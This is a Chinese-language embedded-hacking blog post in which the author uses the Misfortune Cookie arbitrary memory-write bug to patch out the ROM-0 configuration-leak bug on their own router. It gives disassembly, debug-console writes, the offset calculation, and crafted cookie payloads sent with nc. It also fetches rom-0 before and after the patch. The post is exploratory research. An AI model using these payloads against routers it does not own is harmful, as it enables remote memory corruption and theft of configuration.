这篇文章只是为了好玩,特别是给那些喜欢调整系统的嵌入式黑客们。所以这不是一个正当的修复ROM-0 Bug的手段,好玩的是通过一个bug来修复另外一个bug。让我们开>始寻找我们的乐趣。正如我一篇文章《Misfortune Cookie解密》所写,我们可以在任意地址写入任意数据。
除了解锁路由,这也有可能为ROM-0 bug打上补丁>。在这之前,让我们先仔细来看看misfortune cookie bug中对数据格式的覆盖。让我们回到代码段:
ROM:8010E5B0 loc_8010E5B0: # CODE XREF: sub_8010E574+EC j ROM:8010E5B0 li $t7, 0x43 # 0x43='C' ROM:8010E5B4 bne $v0, $t7, loc_8010E618 ROM:8010E5B8 li $a1, 0x3D ROM:8010E5BC addiu $s0, 1 ROM:8010E5C0 move $a0, $s0 ROM:8010E5C4 jal sub_8016C340 ROM:8010E5C8 nop ROM:8010E5CC move $a0, $s0 ROM:8010E5D0 move $s1, $v0 ROM:8010E5D4 addiu $s1, 1 ROM:8010E5D8 jal sub_801F2E74 ROM:8010E5DC sb $zero, -1($s1) ROM:8010E5E0 move $a0, $s1 ROM:8010E5E4 jal sub_8016CA24 ROM:8010E5E8 move $s3, $v0 ROM:8010E5EC li $a2, 0x28 ROM:8010E5F0 mul $t2, $s3, $a2 ROM:8010E5F4 move $a1, $s1 ROM:8010E5F8 addiu $t5, $s4, 0x6B28 ROM:8010E5FC move $s0, $v0 ROM:8010E600 addu $at, $s1, $s0 ROM:8010E604 addu $a0, $t5, $t2 ROM:8010E608 jal sub_8016A784 ROM:8010E60C sb $zero, 0($at) ROM:8010E610 j loc_8010E644 ROM:8010E614 addu $s0, $s1, $s0 ROM:8010E618 # ---------------------------------------------------------------------------
ROM:8010E608 是 strncpy()函数的地址, 在这之后, 在ROM:8010E610 和ROM:8010E614, 我们设在这设了两个陷阱。如下所示:
RAS Version: 1.0.0 Build 121121 Rel.08870 System ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003 | 2012/05/18 Press any key to enter debug mode within 3 seconds. ... Enter Debug Mode ATEN1, A847D6B1 OK ATWL 80014BC0, ac30fffc OK ATGR (Compressed) Version: FDATA, start: bfc85830 Length: A94C, Checksum: DCEE Compressed Length: 1D79, Checksum: 01BB Flash data is the same!! (Compressed) Version: ADSL ATU-R, start: bfc95830 Length: 3E7004, Checksum: 3336 Compressed Length: 122D57, Checksum: 3612 ERROR ATWL 8010E610, 0280b820 OK ATWL 8010E614, 00000008 OK ATGO 80020000 OK ... ... writeRomBlock(): Erase OK! istributePvcFakeMac! run distributePvcFakeMac! run distributePvcFakeMac! run distributePvcFakeMac! run distributePvcFakeMac! run distributePvcFakeMac! Press ENTER to continue...
现在我们准备触发陷阱
cawan$ cat cawan_header | xxd 0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U 0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/ 0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192 0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept: 0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130 */*.Cookie: C10 0000050: 3733 3733 3838 333d 6161 0a 7373883=aa. cawan$ cat cawan_header | nc 192.168.1.1 80 cawan$
然后我们得到:
TLB refill exception occured! EPC= 0x00000000 SR= 0x10000003 CR= 0x50805008 $RA= 0x80020000 Bad Virtual Address = 0x00000000 UTLB_TLBL ..\core\sys_isr.c:267 sysreset() $r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001 $a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000 $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47 $t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040 $s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70 $s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x8040F8AC $t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C $gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0 ... ...
让我们找个合适一点的缓冲区来开始我们对数据覆盖格式和规律的研究。看起来 0x804ED500是个好地方,如下所示:
Press any key to enter debug mode within 3 seconds. ...... Enter Debug Mode atdu 804ed500 804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00 .....N.h..9..... 804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54 ........GET /.HT 804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E TP/1.1.user-agen 804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 2E 30 0A 68 t: curl/7.33.0.h 804ED590: 6F 73 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31 ost: 192.168.1.1 804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F .accept: */*.coo 804ED5B0: 6B 69 65 3A 20 43 31 30-37 33 37 33 38 38 33 00 kie: C107373883. 804ED5C0: 61 61 00 00 00 00 00 00-00 00 00 00 00 00 00 00 aa.............. 804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ OK
从 0x804ED570 到0x804ED5B0, 这部分数据中没有Null字符存在,另外一个方面0x804ED400 也是一个好地方,如下所示:
atdu 804ed400 804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4C0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ OK
在这部分内存中,都是NULL字符。让我们放些数据在这部分内存
ATEN1, A847D6B1 OK ATWL 80014BC0, ac30fffc OK ATGR (Compressed) Version: FDATA, start: bfc85830 Length: A94C, Checksum: DCEE Compressed Length: 1D79, Checksum: 01BB Flash data is the same!! (Compressed) Version: ADSL ATU-R, start: bfc95830 Length: 3E7004, Checksum: 3336 Compressed Length: 122D57, Checksum: 3612 ERROR ATWL 8010E610, 0280b820 OK ATWL 8010E614, 00000008 OK ATGO 80020000 OK ... ...
通过Piotrbania [1]可知,有一个可以触发后会启用隐藏命令的的 "god mode "。隐藏命令可以让我们查看内存的分布以及编辑内存的内容,如下所示:
cawan$ cat cawan_header | xxd 0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U 0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/ 0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192 0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept: 0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232 */*.Cookie: C22 0000050: 3032 323d 6361 7761 6e0a 022=cawan. cawan$ cat cawan_header | nc 192.168.1.1 80 cawan$
RAS Version: 1.0.0 Build 121121 Rel.08870 System ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003 | 2012/05/18 Press any key to enter debug mode within 3 seconds. ....... Enter Debug Mode atdu 804ed400 804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4C0: 00 00 00 00 63 61 77 61-6E 00 00 00 00 00 00 00 ....cawan....... 804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ OK
哈哈哈,此时我们可以看到"cawan"字符串。接着我们试着将其放到 0x804ED570 和 0x804ED5B0的内存之间。
ATEN1, A847D6B1 OK ATWL 80014BC0, ac30fffc OK ATGR (Compressed) Version: FDATA, start: bfc85830 Length: A94C, Checksum: DCEE Compressed Length: 1D79, Checksum: 01BB Flash data is the same!! (Compressed) Version: ADSL ATU-R, start: bfc95830 Length: 3E7004, Checksum: 3336 Compressed Length: 122D57, Checksum: 3612 ERROR ATWL 8010E610, 0280b820 OK ATWL 8010E614, 00000008 OK ATGO 80020000 OK ... ...
cawan$ cat cawan_header | xxd 0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U 0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/ 0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192 0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept: 0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232 */*.Cookie: C22 0000050: 3032 373d 6361 7761 6e0a 027=cawan. cawan$ cat cawan_header | nc 192.168.1.1 80 cawan$
Press any key to enter debug mode within 3 seconds. ...... Enter Debug Mode atdu 804ed500 804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00 .....N.h..9..... 804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54 ........GET /.HT 804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E TP/1.1.user-agen 804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 63 61 77 61 t: curl/7.33cawa 804ED590: 6E 00 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31 n.t: 192.168.1.1 804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F .accept: */*.coo 804ED5B0: 6B 69 65 3A 20 43 32 32-30 32 37 00 63 61 77 61 kie: C22027.cawa 804ED5C0: 6E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 n............... 804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ OK
好了,我们可以清楚的知道,不管我们放入了什么字符串,在其结尾都会填充一个NULL字符。现在我们可以在NULL字符所在的位置创建一个NOP指令。其实这很简单,我们可以使用:
lui $s7,0x4100
其16进制的值为0x3C174100。接着我们要找出需要打补丁的地址。在IDA 上研究了一番,看起来
ROM:80102A40 jal sub_8003D630
是正确的地址。让我们试试看
ATEN1, A847D6B1 OK ATWL 80014BC0, ac30fffc OK ATGR (Compressed) Version: FDATA, start: bfc85830 Length: A94C, Checksum: DCEE Compressed Length: 1D79, Checksum: 01BB Flash data is the same!! (Compressed) Version: ADSL ATU-R, start: bfc95830 Length: 3E7004, Checksum: 3336 Compressed Length: 122D57, Checksum: 3612 ERROR ATWL 80102a40,00000000 OK atgo 80020000 OK .. ..
cawan$ wget 192.168.1.1/rom-0 --2015-03-03 03:07:26-- http://192.168.1.1/rom-0 Connecting to 192.168.1.1:80... connected. HTTP request sent, awaiting response... 404 Not Found 2015-03-03 03:07:26 ERROR 404: Not Found. cawan$
现在我们找到正确的地址.现在需要来计算misfortune cookie bug需要的地址
0x80102A40 - 0x804163D4 = 0xFFCEC66C (Do it in Dword) 0xFFCEC66C % 0x28 = 0xC (Do it in Qword)
不巧的是0x80102A40没有对齐到0×28。所以我们要调整一下地址来对齐,我们再试一次
0x80102A34 - 0x804163D4 = 0xFFCEC660 (Do it in Dword) 0xFFCEC660 % 0x28 = 0x0 (Do it in Qword)
现在我们对齐到了0×28,我们可以接着开始计算地址
0xFFCEC660 / 0x28 = 0x6652B5C (Do it in Qword) 0x6652B5C = 107293532
现在可以开始创建我们的Payload。
让我们正常启动路由来测试我们的Payload。还记得我们的NOP指令吗:)在我们开始触发Payload 之前,我们先来验证一下ROM-0 bug
cawan$ wget 192.168.1.1/rom-0 --2015-03-03 03:29:11-- http://192.168.1.1/rom-0 Connecting to 192.168.1.1:80... connected. HTTP request sent, awaiting response... 200 OK Length: 16384 (16K) [application/octet-stream] Saving to: ‘rom-0’ 100%[======================================================================= =========================>] 16,384 14.9KB/s in 1.1s Last-modified header invalid -- time-stamp ignored. 2015-03-03 03:29:12 (14.9 KB/s) - ‘rom-0’ saved [16384/16384]
cawan$ cat cawan_header | xxd 0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U 0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/ 0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192 0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept: 0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130 */*.Cookie: C10 0000050: 3732 3933 3533 323d 4141 4141 4141 4141 7293532=AAAAAAAA 0000060: 4141 4141 3c17 410a AAAA<.A.
cawan$ wget 192.168.1.1/rom-0 --2015-03-03 03:40:32-- http://192.168.1.1/rom-0 Connecting to 192.168.1.1:80... connected. HTTP request sent, awaiting response... 404 Not Found 2015-03-03 03:40:32 ERROR 404: Not Found.
成功了:),寻乐之旅暂时告一段落
References:
[1] http://piotrbania.com/all/articles/tplink_patch/
*Evil.Team http://embedsec.systems/zh/